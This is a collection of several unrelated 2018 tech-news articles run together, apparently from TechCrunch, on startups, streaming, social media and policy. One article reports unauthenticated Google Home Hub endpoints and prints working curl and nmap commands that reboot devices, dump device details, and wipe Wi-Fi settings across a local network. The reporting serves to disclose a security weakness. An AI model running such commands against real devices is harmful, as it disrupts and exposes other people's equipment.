French startup Lendix is changing its name to October. The company is using this opportunity to redesign its branding assets and refresh the design of the website for new users. The product remains the same — a lending platform connecting individual and institutional investors with small and medium companies.

From what I’ve heard, October had to change its name due to some trademark issue. But the company used this opportunity to move away from its original, pretty boring name. Lendix is a straightforward name that suggests that it’s all about lending money.

But there are so many companies with “lend” in their names that it quickly became a disadvantage — Lendopolis, Unilend, Lendosphère, LendingClub…

October is easy to understand and to write down in a casual conversation. If the company wants to branch out and start offering other financial products, it won’t be awkward.

That’s about it. I just wanted to note the change given that I’ve covered October a few times over the years.

Twitter is adding more nuance to its spam reporting tools, the company announced today. Instead of simply flagging a tweet as posting spam, users can now specify what kind of spam you’re seeing by way of a new menu of choices. Among these is the option to report spam you believe to be from a fake Twitter account.

Now, when you tap the “Report Tweet” option and choose “It’s suspicious or spam” from the first menu, you’re presented with a new selection of choices where you can pick what kind of spam the tweet contains.

Here, you can pick from options that specify if the tweet is posting a malicious link of some kind, if it’s from a fake account, if it’s using the Reply function to send spam, or if it’s using unrelated hashtags.

These last two tricks are regularly used by spammers to increase the visibility of their tweets.

Often, high profile Twitter users will see replies to their tweets promoting the spammers’ content. For example, check any of @elonmusk’s thread for crypto scammers’ tweets – a problem so severe, that when Elon played along one time as a joke, Twitter locked his account.

Using hashtags, meanwhile, allows spammers to get attention from those people searching Twitter’s Trends.

And of course, spammers are often posting prohibited content, like malicious links, links to phishing sites, and other dangerous links.

But Twitter users will probably be most interested in the new option to report fake accounts.

There’s been a lot of name-calling on Twitter today following the emergence of reports of Russian bots and trolls flooding Twitter, in an attempt to influence U.S. politics with disinformation. Often, users in disagreements on the site will call someone “bot” as a way to shut down a conversation.

Twitter itself has been suspending real bots left and right in recent months. It deleted 200,000 Russian troll tweets earlier this year, for example, and suspended more than 70 million fake accounts in May and June, according to reports.

Now users will be able to report those accounts they believe to be bots, as well.

To what extent Twitter will rely on these user-generated reports over its own algorithmic-based bot detection systems, or other factors (like IP addresses or suspicious behavior), is unclear.

It’s also unclear if people can ban together to mass report an account as “fake” in an attempt to remove a real person’s account. But someone will surely soon test that out.

Prior to the change, users were able to report spam but not the type of spam, Twitter’s documentation today still confirms.

Twitter tells us the updated reporting flow will simply allow the company to collect more detail so it can “identify and remove spam more effectively.”

Spotify’s got a new promotion to entice users to sign up for a Premium Family plan. Commit to $15 a month for up to six members, and the streaming service will toss in a free Google Home Mini.

It’s an interesting promotion from the standpoint of Spotify and Google’s growing partnership. While Google’s long had its own music streaming service under the Play banner, it’s failed to set the world on fire. As such, the company has long let users choose their default service when setting up a Google Home device.

Spotify, of course, doesn’t have the sort of smart home infrastructure of its largest competitor, which puts the company at a kind of disadvantage as it attempts to maintain its marketshare lead, while Apple Music continues to grow. The deal marks both an easy promotion for Spotify and an attempt to help establish its place as part of the growing connected home ecosystem. For Google, it’s yet another opportunity to get its entry level smart speaker into more homes.

Also, hey, free Home Mini.

Both new and existing subscribers can take advantage of the promotion, which runs through the end of the year.

The Daily Crunch is TechCrunch’s roundup of our biggest and most important stories. If you’d like to get this delivered to your inbox every day at around 9am Pacific, you can subscribe here:

1. Waymo, take the wheel: Self-driving cars go fully driverless on California roads

The Alphabet-owned company has been testing on public roads for years now. But this permit, issued by the California Department of Motor Vehicles, allows Waymo to test these self-driving cars without a human driver behind the wheel.

Waymo said its driverless test cars will initially hit the streets near its Silicon Valley headquarters, including parts of Mountain View, Sunnyvale, Los Altos, Los Altos Hills and Palo Alto.

2. Facebook bans the Proud Boys, cutting the group off from its main recruitment platform

We reported in August that the Proud Boys operate a surprisingly sophisticated network for getting new members into the fold via many local and regional Facebook groups.

Photo Credit: Susan Watts/NY Daily News via Getty Images

3. Up close and hands-on with the new iPad Pro

The new Pro, which Apple unveiled yesterday, marks what is arguably the single largest design change to the iPad line in its eight-and-a-half-year existence.

4. Facebook shares climb despite Q3 user growth and revenue

The social network stumbled again in Q3, but shares climbed after its latest earnings report, thanks in part to Facebook’s $5.14 billion profit and the addition of 1 million users in North America.

5. Twitter’s doubling of character count from 140 to 280 had little impact on length of tweets

According to new data released by Twitter, only 1 percent of tweets hit the 280-character limit, and only 12 percent are longer than 140 characters.

6. Apple pulls WatchOS 5.1 update after it bricked some Apple Watches

If you’re an Apple Watch owner having trouble finding the shiny new WatchOS 5.1 update, turns out it isn’t quite ready yet.

7. Starship is using self-driving robots to deliver packages on demand

Once your package arrives at a local Starship facility, the app will notify you. Then you can request a Starship bot that will deliver the package to you, wherever you are.

In 2015 Switzerland was fucked. This blunt belief, grunted out by Apple’s Jony Ive and repeated by the media as a death knell for the watch industry, seemed to define a sad truth: that the Swiss watch was dead and Apple pulled the trigger.

Now, three years and four Apple Watches later, was Ive right? Did Apple change the world? And, most importantly, did Switzerland survive?

Yes, but…

As you might have noticed the Swiss watch industry is still standing. The major Swiss houses – LVMH, Richemont, and Swatch Group – are seeing a major uptick in sales, especially in the US. According to the Federation of the Swiss Watch Industry, sales are up 5.5% year-over-year, a bit of news that was, amusingly, almost buried by the onslaught of Apple Watch Series 4 reviews.

This increase of US sales bucked a major trend this year and one market insider, who preferred to remained anonymous, noted that all of his sales contacts are seeing increased sales in the $3,000 and above watch category. While the low-cost fashion watches were, as he said, “decimated,” the luxury market is growing. But why?

According to Swatch Group, Swiss watch exports rose 4.8 percent compared with last year and, according to a Reuters report, “first-quarter watch exports rose 10.1 percent, the highest quarterly growth rate since mid-2012, according to figures from the Federation of the Swiss Watch Industry.”

“You know we saw an end of the year that was very strong – double-digit growth – and now it continues, so every month is a record month for us,” Swatch Group CEO Nick Hayek told CNBC. In short, the industry is back from an all-time low after the recession.

Watch analysts believe that Apple created a halo effect. Of the millions of people who bought and wore an Apple Watch, a majority had never worn or thought about wearing a watch. Once they tried the Apple Watch, however, and outfitted it with leather bands, fancy Milanese loops, and outfit-matching colors the attitude changed. If wearing watches is so fun and expressive, why not try other, more storied pieces? The numbers are hard to find (watchmakers are notoriously secretive) but I’ve found that my own watch obsessives site, WristWatchReview, saw a solid uptick in traffic in 2015, one that continued, for the most part, into 2018. One year, 2017, was considerably lower because my server was failing almost constantly.

What does this mean for the watch? First, it means that, like vinyl, a new group of obsessives are taking up the collector’s mantle after discovering the implicit value of more modern forms of the same thing. An Apple Watch is a gateway drug to a Tissot which is a gateway drug to a classic tropical Rolex Submariner on a signed band just as your first Radiohead MP3 leads to buying a turntable, an amp, a Grado cartridge, and a pressing of Moon Shaped Pool.

“In high school I wore a pebble for a while,” said Brady, a 20-year-old college sophomore I spoke to. “As an easily-distracted high school student, even though this wearable was very primitive tech, it consumed a lot of my attention when it wasn’t appropriate to be on my phone – which meant also not appropriate to be on my watch. I then shifted to Nixon quartz ‘fashion watches ‘and i was happy knowing they kept good reliable time. Then I got a Seiko SNK805 automatic. I don’t have a single non-mechanical watch due to my respect for the craftsmanship!”

Wearables are changing, as well, pushing regular watches back into the spotlight. As Jon Speer, VP at Greenlight.Guru, most wearables won’t look like watches in the next few years.

“I predict the next generation of wearables to blur the lines between tech accessory and medical device. These ‘devices’ will include capabilities such as measuring blood pressure, blood sugar, body temperature and more,” he said. “The FDA is working closely with industry partners to identify common roadblocks to innovation. The De Novo Program, the classification Apple pursued for the Apple Watch, is the category for medical devices that don’t fall within an existing classification. As we blend medical technology with consumer technology, I foresee the De Novo program being utilized by companies such as Fitbit and Garmin. As a consumer, I’m very excited for the potential and advancements.”

Thus the habit of wearing watch might stick even as the originators of that habit – a little square of steel and glass strapped to your wrist – disappears.

Could it all be a mirage?

The new Apple Watch is very positively reviewed and Android Wear – as evidenced by companies like Montblanc selling very capable and fashion-forward smartwatches – is still a force to be reckoned with. Further, not everyone falls back into watch wearing after trying out the thing Jony Ive said would fuck Switzerland.

Watches are an acquired taste like craft beers, artisanal teas, and other Pinterest-ready pursuits. Sometimes simply strapping one to your wrist isn’t enough.

“I got the first gen Apple Watch,” said entrepreneur David Berkowitz. “I loved it, and then I stopped wearing it a bit. As I did, I lost the charger and never bothered replacing it. I haven’t worn it since and haven’t seriously considered getting a new one.”

“I’m just not that customer,” he said.

Last year, the top subscription video apps like Netflix and Hulu raked in a combined $781 million, and that trend is showing no sign of slowing down in 2018. In the third quarter of 2018, U.S. consumers spent an estimated $329 million in the top 10 subscription video-on-demand apps across the App Store and Google Play – a figure that’s up 15 percent from the $285 million spent in Q1.

The data is the latest in a new report from app intelligence firm Sensor Tower, which has been following the growth of subscription video apps for some time. Last year, for example, it found that Netflix’s app topped the charts in terms of revenue, when compared with all the other non-game apps on the market.

Netflix hasn’t fallen from its top ranked position, the new data shows. In fact, it’s continuing to grow.

The app pulled in an estimated $132 million in consumer spending across the app stores in Q3, which is up 78 percent from the $74 million spent in the third quarter of 2017.

However, Hulu is now growing faster, the report found. It saw subscription revenue jump 86 percent to $39 million, up from $21 million a year ago.

It seems some consumers may have made the move to Hulu thanks to the extra cash they had on hand, thanks to dropping their HBO subscription.

The only subscription video app that saw revenue decline in Q3 was HBO NOW, which took in $41 million in the quarter, down 40 percent from the $68 million in Q3 2017. But notably absent this quarter was the network’s biggest draw, “Game of Thrones,” which had been airing at this time last year. A drop was expected.

The top grossing chart of these subscription video apps for Q3 2018 looks very similar to last year’s in terms of the apps included, and sometimes, even their rankings.

But two services made moves, the report says.

YouTube TV jumped from $3 million in the year-ago quarter to $16 million in Q3 on Apple’s App Store, thanks to its expanded market penetration and consumer adoption. And ESPN Live Sports, which added in-app subscriptions in Q2, grossed $4.6 million in the third quarter, up 119 percent from Q2.

Even CBS is doing well, despite the fact that not everyone loves the new “Star Trek.”

Still, it appears CBS made a good move by betting on fans’ devotion to the franchise, as U.S. consumers spent $6 million in the app in Q3 2018, up 50 percent from the $4 million spent in Q3 2017.

The report’s data includes subscription revenues only, not refunds or in-app advertising revenues, Sensor Tower notes.

The broad increases in consumer spending on these video apps is yet another example of the significant and growing subscription business – much of which is taking place on mobile. Subscriptions accounted for $10.6 billion in consumer spend on the App Store in 2017, and are poised to grow to $75.7 billion by 2022, an earlier report found.

However, the top subscription apps aren’t all video apps. Others that consistently rank highly in the U.S. include Tinder, Spotify and Pandora, for example. Currently, the top grossing chart for the App Store includes a number of non-games, like Netflix (#1), YouTube (#2), Tinder (#3), Pandora (#4), Hulu (#7), and Bumble (#8).

With Apple’s AirPower still missing in action, the Apple accessory ecosystem has been attempting to fill the need with similar products. Some of these third party products are better than others, and the new Base Station from Nomad looks to be the best of them all.

The Base Station does two things. One, it wireless charges up to two mobile devices. Two, it charges an Apple Watch through an integrated Apple MFi-certified Magnetic Apple Watch charger. More so, it looks great.

A padded leather surface covers three charging coils allowing the unit to recharge up to two devices — or one device laying horizontally across the pad. Each of the coils are Qi-certified and output at 7.5W. As for the Apple Watch, it can only be recharged using the included magnetic charger unless Apple activates Qi-compatibility through a software update.

The Nomad Base Station is available now for $120. Don’t have an Apple Watch? The same charging base is available for $20 less and still supports up to three devices.

Live streaming TV services, like Sling TV, PlayStation Vue, Hulu with Live TV, and others, are gaining steam in the U.S. as more consumers cut the cord with traditional pay TV. According to a new report from Conviva out this morning, these services (called virtual MVPDs) now account for over three-quarters of all plays and viewing hours in the U.S. That growth has come at the expense of dedicated apps from individual publishers, the report found.

Over the past 12 months, streaming TV services – the virtual MVPDs like Hulu with live TV, Sling TV, or PlayStation Vue – have seen a 292 percent increase in plays and a 212 percent increase in viewing hours, while publisher apps have seen declines of 16 percent and 19 percent, respectively, across those fronts.

The services have also been improving over time. Many suffered from glitches and outages at launch – and this continues today, on occasion. But overall, they’re more stable than in the past.

The report found that across these streaming TV services, there’s been a 22 percent decrease in video start failures, a 7 percent shorter wait time for video to start playing, 25 percent higher picture quality, and 63 percent less buffering.

The draw of streaming TV services is a cable TV-like experience with added benefits, like the ability to watch across devices, record shows to a cloud DVR that’s not (in theory) limited by disk space on a set-top box, integration with your smartphone’s notification system for alerts about favorite shows or events, and more.

But the ability to tune into live content – like live events and sports – is a major draw for cord cutters, as well.

Year-over-year, live TV content has seen a 49 percent increase in plays and a 54 percent increase in viewing time. The NFL is a huge part of this, with plays up 72 percent and viewing hours up 83 percent in Q3 2018, versus the year-ago quarter.

In the weeks that games were airing, NFL viewership accounted for 3 percent of total plays and 2.8 percent of all viewing hours in the U.S.

Because many viewers tune in at the same time to watch a live broadcast, compared with other content, there’s still room for improvement on this front. The firm also found that live television streams take 10 percent longer for videos to start, and see 72 percent more exits before the video starts, as a result.

The way consumers are watching streaming TV services is changing, too, the study said.

Though one benefit of these newer services is no longer being tied to a TV for viewing, it seems many still prefer it. While mobile viewing continues to grow – it’s up 57 percent year-over-year – it no longer dominates.

Connected TVs – such as those connected to Roku players, Amazon Fire TV, Apple TV, etc. – now account for as many streaming TV plays (38% on TVs) as mobile devices (39%). They also account for more than twice the viewing hours, with a 56 percent share to mobile’s 25 percent share.

Viewing on the PC is down by 18 percent, meanwhile.

Conviva, like other reports, have found that Roku leads the market – in this case, in terms of viewing hours. Roku accounted for 40 percent of viewing hours, but Amazon Fire TV gained. Amazon’s connected TV device platform increased its share of viewing hours from 3 percent to 18 percent over the past 12 months, and increase its share of plays from 4 percent to 19 percent.

The report is a snapshot of the industry that comes from Conviva’s global footprint of 50 billion streams per year across 3 billion applications and 200 million users. The company works with brands like Sling TV, HBO, Sky, Turner, Hulu, Discovery, CBS, Canal Digital, and others. That gives it deep insight into the streaming TV space to see trends, but not a complete look as not all providers are Conviva customers.

This is clever. Made by HyperDrive, the USB-C Hub slips onto an Apple USB-C power adapter and adds two USB 3.0 ports. That’s all. I love it and it addresses a major shortcoming of Apple’s current notebook lineup.

Apple ditched full size USB ports in favor of the versatile USB-C. It makes sense on some levels. USB-C supports nearly every bus format available but there are still a bunch of devices that ship with the older USB plug. Like the iPhone. If a person walks into an Apple store and buys the latest iPhone and the latest MacBook Pro, the iPhone will need a dongle to recharge off the MacBook Pro. Why not make it this dongle?

Similar devices have long been on the market but tend to use the power port to add a USB port. This one uses the power of USB-C, which results in an adapter that’s a touch smaller than the alternatives.

The HyperDrive USB-C Hub comes in two flavors to match the two versions of Apple’s power adapters. The USB-C Hub for the 61W power adapter costs $39.99 while the USB-C Hub for the 87W power adapter costs $49.99. Both are right now to pre-order at a 25% discount from Hyper.

Soon, the days of package theft will be behind us. For people living in the U.K. town of Milton Keynes, that day is today. That’s thanks to autonomous robot startup Starship Technologies.

Starship’s on-demand package delivery requires you to first install the app to receive a delivery address to go in the place of your home address, or wherever else you usually get packages delivered. That Starship-provided delivery address is where the company’s local facility is located. Once your package arrives there, the app will notify you and enable you to request a Starship bot to deliver it to you, wherever you are. Through the app, you can also track where your package is at all times.

Starship delivers to home within a two-mile radius but has plans to expand its service area to make farther deliveries. The company says the battery is not a limitation, but that it merely wants wait time to be as short as possible.

By the end of the year, Starship aims for the service to be available to residents in the San Francisco Bay Area. Pricing has yet to be determined in the U.S., but in the UK, Starship offers the first month for free and then £7.99 per month for an unlimited number of package deliveries.

“The hassle of needing to re-arrange your life for a delivery will become a thing of the past. No more having to switch your working from home day, reschedule meetings, visit a locker, drive to a post office or contact a courier all because of a missed delivery. Starship gets packages to consumers when and where they want them. This is the only service of its kind available in the world today, and it works around your lifestyle.”

A few months ago, Starship raised $25 million from Matrix Partners and Morpheus Ventures. New investors include Airbnb co-founder Nathan Blecharczyk, Skype founding engineer Jaan Tallinn and others. Starship has raised $42.2 million in total.

Starship has previously partnered with on-demand food delivery companies like DoorDash and Postmates to test out its robot delivery service. Last January, Starship partnered with the companies mentioned above for a pilot program in Redwood City, Calif. and Washington, D.C. To date, Starship robots have traveled more than 125,000 miles in 20 countries, across 100 cities.

Gig workers, freelancers, sharing economy workers — call them what you want to, but the millions who drive you around in Lyfts, drop off your Seamless delivery or work on piecemeal projects from home have become a staple of the American workforce — and their numbers are only set to grow.

A report out today says 56.7 million Americans worked as freelancers in the last year. That is more than 1 out of 3 of the entire labor force.

For full-time employees, a whole array of protections exists to make sure they get paid, are not discriminated against and retain some income if they lose their jobs. From federal employment laws to state laws and city ordinances, employees have recourse for wrongdoing by employers. But for the fast-growing segment of Americans working as freelancers, little to no legal protections exist.

That’s beginning to change. From a modern take on labor unions in the shape of the Freelancers Union to legal tech startups trying to provide freelancers with simple and accessible contracts that protect their rights, freelancer protections are slowly catching up to the incredible growth that the gig economy has seen over the past few years.

Who is freelancing?

The Freelancers in America Study published today provides a window into who’s doing all the gig jobs around. Jointly commissioned by the Freelancers Union, which has more than 400,000 members nationwide, and Upwork, the largest freelancing website, the study is now in its fifth edition.

It found that freelancers live all across the United States, more than 40% of them are younger than 35 and almost two thirds of them found their work online. At the current rate of growth, we can expect the majority of the US workforce to freelance within less than a decade.

For the most part, the study found that freelancers are content with their work. More than half of those surveyed said that no amount of money would get them to take a traditional job. Compared to non-freelancers, freelancers have a better work/life balance and more control over their schedule, resulting in less stress and better health.

Yet, unlike their traditional full-time counterparts, freelancers disproportionately worry about whether they’re going to get paid for the work they complete, and how they can pursue claims for payment if they don’t. Nearly 70% of freelancers have struggled to collect payment for work they’d completed.

Protecting freelancers

This is where organizations like the Freelancers Union come in. Unlike traditional unions, membership in the Freelancers Union is free — with grants from various donors and fees from offering insurance plans covering the Union’s costs. While membership in traditional private-sector unions peaked in the 1970s and has been in a steady decline since, the Freelancers Union has seen steady growth since it was founded in 1995 and is currently growing at a rate of 1,000 new members a week.

Caitlin Pearce, the union’s Executive Director, tells me that freelancers deal with a fundamental power imbalance. With less than a fourth of them using a contract to protect their rights, they are often left at the mercy of the employer. “Freelancers are basically cut off from all the workplace protections that have become commonplace,” she explained.

In response to the concerns of its members, the Union has been advocating for timely payment by employers, access to affordable health care and more income predictability.

Last year, the Union led a successful advocacy drive to pass the “Freelance Isn’t Free Act” by the New York city council. Under this act, businesses hiring freelancers in New York City are required to use a contract, must pay within 30 days of the work being complete, and freelancers can file a claim with the city to resolve issues they have with businesses. If the claim is successful, then businesses have to pay freelancers double the damages, in addition to the freelancer’s attorney fees.

Serious challenges remain. Even the act itself can’t protect workers who work remotely from as close as New Jersey for businesses based in New York. Effective protections need state and federal level laws, but Pearce says that even within New York State they found little appetite for legislation to protect freelancers’ rights.

For now, the Freelancers Union is doubling down on their municipal strategy, advocating for other cities where many freelancers are based to adopt ordinances similar to the one passed in New York.

Pearce says they’ve started to gain traction in Philadelphia and Madison, and are using the New York campaign as a model. New York showed the Union the widespread support they can galvanize for freelancer rights. From traditional labor unions to WeWork and Kickstarter, a wide range of groups came together to support passing the act. In the end, it passed unanimously, with all 51 New York City council members, including three Republicans, supporting it.

“It’s just a common sense law, if you do work you deserve to be paid,” stresses Pearce. The hope now is that same common sense can prevail in other cities, states and eventually federally.

The startup approach

Protections for freelancers are not only coming from union-like organizations. Some legal tech startups are working to provide more affordable contract services directed specifically at freelancers and small businesses.

Gina Pak and Liam Moriarty met during their time at Columbia Law School, and at first followed the typical attorney route of working for high-powered New York law firms. But a few years into their law careers, they both quit their jobs, packed up their Upper West Side apartment and moved out to Los Angeles to co-found Lawgood.

Pak and Moriarty had found that bad contracts in the US were giving rise to more than 12 million lawsuits every single year, costing the national economy more than $600 billion. Freelancers and small businesses can’t afford attorney fees, and so choose to write their own risky contracts, or go without a contract at all, leading to lawsuits when things inevitably go awry.

Instead, Lawgood provides an online service, where freelancers and businesses can upload any contract they have questions about and get feedback for the fraction of the cost of hiring an attorney.

Then, the company’s system combines a network of carefully vetted lawyers with artificial intelligence technology designed to detect potential problems in the contract. Each user gets a marked-up contract that provides notices of potential issues, simplified explanations of complex wording, and suggestions on how to negotiate.

Pak tells me that as things currently stand, “laws are just inadequate when it comes to protecting freelancers and are not keeping up with the times.” A well-drafted contract can protect both the freelancer and the company that hires them. But in her experience, even the word contract has a bad rep. “It’s a pain point that people just don’t want to go through, and some freelancers are even hesitant to ask for a contract because they don’t want to signal a lack of trust in the person hiring them.”

This means that for Lawgood, apart from enabling freelancers to get affordable, easy to understand contracts, they have to advocate for behavior change. They have to convince freelancers that contracts are one of the most effective communication tools if written well. “Don’t think of it as distrust,” encourages Pak, “but a tool for both sides to succeed and be clear on expectations.”

What does the future hold for supporting freelancers’ rights?

While organizations like the Freelancers Union and startups like Lawgood offer some hope for freelancers, it’s clear that more national level protections are needed to make sure freelancers aren’t taken advantage of.

In that sense, the Freelancers in America Study offers some important clues as to why politicians everywhere should be paying more attention to freelancers. Apart from the fact that they already represent more than 1 out of 3 American workers, the study showed that freelancers are 19 points more politically active than non-freelancers.

Even more strikingly, a whopping 72% of freelancers said they’d be willing to cross party lines to vote for candidates who support freelancers’ rights.

Pearce says one of the best outcomes from publishing the study is quantifying the number of freelancers, a loose and dispersed constituency that had not been properly counted before. The hope now is that their size, level of political engagement and willingness to cross party lines, will lead to politicians taking on their cause and eventually pass legislation protecting their rights. Until that happens, freelancers should push for contracts that protect them and join groups like Freelancers Union to amplify their voices.

Security advocate Jerry Gamblin has posted a set of instructions – essentially basic lines of XML – that can easily pull important information off of the Google Home Hub and, in some cases, temporarily brick the device.

The Home Hub, which is essentially an Android tablet attached to a speaker, is designed to act as an in-room Google Assistant. This means it connects to Wi-Fi (and allows you to see open Wi-Fi access points near the device), receives video and photos from other devices (and broadcasts its pin), and accepts commands remotely (including a quick reboot via the command line).

The command – which consists of a simple URL call via the command line – is clearly part of the setup process. You can try this at home if you replace “hub” with the Home Hub’s local IP address.

curl -Lv -H Content-Type:application/json --data-raw '{"params":"now"}' http://hub:8008/setup/reboot

Other one-liners expose further data, including a number of micro services:

$ curl -s http://hub:8008/setup/eureka_info | jq
{
"bssid": "cc:be:59:8c:11:8b",
"build_version": "136769",
"cast_build_revision": "1.35.136769",
"closed_caption": {},
"connected": true,
"ethernet_connected": false,
"has_update": false,
"hotspot_bssid": "FA:8F:CA:9C:AA:11",
"ip_address": "192.168.1.1",
"locale": "en-US",
"location": {
"country_code": "US",
"latitude": 255,
"longitude": 255
},
"mac_address": "11:A1:1A:11:AA:11",
"name": "Hub Display",
"noise_level": -94,
"opencast_pin_code": "1111",
"opt_in": {
"crash": true,
"opencast": true,
"stats": true
},
"public_key": "Removed",
"release_track": "stable-channel",
"setup_state": 60,
"setup_stats": {
"historically_succeeded": true,
"num_check_connectivity": 0,
"num_connect_wifi": 0,
"num_connected_wifi_not_saved": 0,
"num_initial_eureka_info": 0,
"num_obtain_ip": 0
},
"signal_level": -60,
"ssdp_udn": "11111111-adac-2b60-2102-11111aa111a",
"ssid": "SSID",
"time_format": 2,
"timezone": "America/Chicago",
"tos_accepted": true,
"uma_client_id": "1111a111-8404-437a-87f4-1a1111111a1a",
"uptime": 25244.52,
"version": 9,
"wpa_configured": true,
"wpa_id": 0,
"wpa_state": 10
}

Finally, this line causes all devices on your network to forget their Wi-Fi, forcing you to reenter the setup process.

nmap --open -p 8008 192.168.1.0/24 | awk '/is up/ {print up}; {gsub (/(|)/,""); up = $NF}' | xargs -I % curl -Lv -H Content-Type:application/json --data-raw '{ "wpa_id": 0 }' http://%:8008/setup/forget_wifi

As Gamblin notes, these holes aren’t showstoppers but they are very alarming. Allowing unauthenticated access to these services is lazy at best and dangerous at worst. He also notes that these endpoints have been open for years on various Google devices, which means this is a regular part of the code base and not considered an exploit by Google.

Again, nothing here is mission critical – no Home Hub will ever save my life – but it would be nice to know that devices based on the platform have some modicum of security, even in the form of authentication or obfuscation. Today we can reboot Grandpa’s overcomplicated picture frame with a single line of code but tomorrow we may be able to reboot Grandpa’s oxygen concentrator.

Two separate parliamentary committees, in the UK and Canada, have issued an unprecedented international joint summons for Facebook’s CEO Mark Zuckerberg to appear before them.

The committees are investigating the impact of online disinformation on democratic processes and want Zuckerberg to answer questions related to the Cambridge Analytica-Facebook user data misuse scandal, which both have been probing this year.

More broadly, they are also seeking greater detail about Facebook’s digital policies and information governance practices — not least, in light of fresh data breaches — as they continue to investigate the democratic impacts and economic incentives related to the spread of online disinformation via social media platforms.

In a letter sent to the Facebook founder today, the chairs of the UK’s Digital, Culture, Media and Sport (DCMS) committee and the Canadian Standing Committee on Access to Information, Privacy and Ethics (SCAIPE), Damian Collins and Bob Zimmer respectively, write that they intend to hold a “special joint parliamentary hearing at the Westminster Parliament”, on November 27 — to form an “‘international grand committee’ on disinformation and fake news”.

“This will be led by ourselves but a number of other parliaments are likely to be represented,” they continue. “No such joint hearing has ever been held. Given your self-declared objective to “fix” Facebook, and to prevent the platform’s malign use in world affairs and democratic process, we would like to give you the chance to appear at this hearing.”

Both committees say they will be issuing their final reports into online disinformation by the end of December.

The DCMS committee has already put out a preliminary report this summer, following a number of hearings with company representatives and data experts, in which it called for urgent action from government to combat online disinformation and defend democracy — including suggesting it look at a levy on social media platforms to fund educational programs in digital literacy.

Although the UK government has so far declined to seize on the bulk of the committee’s recommendations — apparently preferring a ‘wait and gather evidence’ (and/or ‘kick a politically charged issue into the long grass’) approach.

Meanwhile, Canada’s interest in the democratic damage caused by so-called ‘fake news’ has been sharpened by AIQ, the data company linked to Cambridge Analytica, as one of its data handlers and system developers — and described by CA whistleblower Chris Wylie as essentially a division of his former employer — being located on its soil.

The SCAIPE committee has already held multiple, excoriating sessions interrogating executives from AIQ, which have been watched with close interest by at least some lawmakers across the Atlantic…

At the same time the DCMS committee has tried and failed repeatedly to get Facebook’s CEO before it during the course of its multi-month inquiry into online disinformation. Instead Facebook despatched a number of less senior staffers, culminating in its CTO — who spent around five hours being roasted by visibly irate committee members. And whose answers left them unsatisfied.

Yet as political concern about election interference has stepped up steeply this year, Zuckerberg has attended sessions in the US Senate and House in April — to face (but not necessarily answer) policymakers’ questions.

He also appeared before a meeting of the EU parliament’s council of presidents — where he was heckled for dodging MEPs’ specific concerns.

But the UK parliament has been consistently snubbed. At the last, the DCMS committee resorted to saying it would issue Zuckerberg with a formal summons the next time he stepped on UK soil (and of course he hasn’t).

They’re now trying a different tack — in the form of a grand coalition of international lawmakers, from at least two countries.

While the chairs of the UK and Canadian committees say they understand Zuckerberg cannot make himself available “to all parliaments” they argue Facebook’s users in other countries “need a line of accountability to your organisation — directly, via yourself”, adding: “We would have thought that this responsibility is something that you would want to take up. We both plan to issue final reports on this issue by the end of this December, 2018. The hearing of your evidence is now overdue, and urgent.”

“We call on you to take up this historic opportunity to tell parliamentarians from both sides of the
Atlantic and beyond about the measures Facebook is taking to halt the spread of disinformation on
your platform, and to protect user data,” they also write.

So far though, where non-domestic lawmakers are concerned, it’s only been elected representatives of the European Union’s 28 Member States who have proved to have enough collective political clout and pulling power to secure a little facetime with Zuckerberg.

So another Facebook snub seems the most likely response from the company to the latest summons.

“We’ve received the committee’s letter and will respond to Mr Collins by his deadline,” a Facebook spokesperson told us when asked whether it would be despatching Zuckerberg this time.

Perhaps it will send its new global policy chief, Nick Clegg, instead — who would at least be an all-too familiar face to Westminster lawmakers, having previously served as the UK’s deputy PM.

The international coalition approach the committees are now taking is interesting, though, given the challenges of regulating global platforms like Facebook whose users bases scale bigger than some nations.

If the committees were to recruit lawmakers from additional countries to their joint hearing — Myanmar, for example, where Facebook’s platform has been accused of accelerating ethnic violence — such an invitation might be rather harder for Facebook to ignore.

After all, the company does claim: “We are accountable.” (Though it does not state who exactly it feels accountable to.)

While forming a joint international committee is a new tactic, UK and Canadian lawmakers and regulatory bodies have been working together for many months now — as part of their respective inquiries and investigations, and as they’ve sought to unpick complex data trails and understand transnational corporate structures.

One thing is increasingly clear when looking at the tangled web where politics and social media collide (with opinion manipulation the intended outcome): The interconnected, cross-border nature of the Internet when meshed with well-funded digital political campaigning is now placing huge strain on traditional legal structures at the nation-state level.

And national election laws reliant on regulating things like campaign spending and joint working, as the UK’s laws are supposed to, simply won’t work unless you can actually follow the money and genuinely map the relationships.

LinkedIn has created and — with 562 million users — leads the market in social platforms for people who want to network with others in their professions, and look for jobs. Now a startup that hopes to take it on in a specific niche — university students and recent grads, with a focus on diversity and inclusion — has raised a substantial round to grow. Handshake, a platform for both students looking to take their early career steps and employers who want to reach them, has raised $40 million in a Series C round of funding, after hitting 14 million users in the U.S. across 700 universities, and 300,000 employers targeting them.

The company is now valued at $275 million post-money, according to figures from PitchBook, a big leap on its valuation at the Series B stage two years ago, when it was valued at $108 million.

The funding is notable not just for that valuation hike — and the implication that many think it could give Microsoft-owned LinkedIn a run for its money among 20-somethings — but for who is doing the backing.

The round was led by EQT Ventures, the investment arm of European holding company and PE firm EQT, with participation also from several investment organizations that have put a focus on backing interesting startups in the education sphere, including the Chan Zuckerberg Initiative, Omidyar Network, Reach Capital; as well as True Ventures, Kleiner Perkins, Lightspeed Venture Partners, Spark Capital and KPCB Edge. Several of these are repeat investors and the total raised by Handshake — not to be confused with the B2B e-commerce platform of the same name — to $74 million.

To date, Handshake has only been active in the U.S. The company was founded in 2014 originally named Stryder by three graduates of the University of Michigan — Garrett Lord (currently the CEO), Scott Ringwelski (CTO) and Ben Christensen (a board member). The plan is to use the new funding to expand into more markets like Europe, using EQT’s network of businesses in the region to help it along.

LinkedIn has been making a lot of efforts over the years to court younger users and bring them into the LinkedIn fold earlier.

In 2013, the company lowered its minimum age for users to 13 and launched dedicated pages for universities. In 2014, LinkedIn started to add in more tools for younger users to connect with universities and their university-related networks on the platform. And through various e-learning efforts, LinkedIn has been trying to create a bridge between the kind of learning you might do at university, and what you might do after you leave to further your career.

The behemoth also started to take baby steps into providing more insights into diversity for those doing hiring, by letting recruiters examine search results by gender; and by providing bigger insights into the wider pool of people on LinkedIn.

Part of the reason for the baby steps, I’m guessing, is that LinkedIn simply lacks the data from its users to do more faster, and so that leaves a lot of room for a rival to step in.

In that vein, it seems Handshake is trying to position itself as a platform that is considering and thinking about how to address diversity from the ground up, as a native part of its platform while it is still small and growing.

Part of this involves working with more than 100 minority-serving institutions, which include Historically Black Colleges and Universities, and Hispanic Serving Institutions in the U.S.

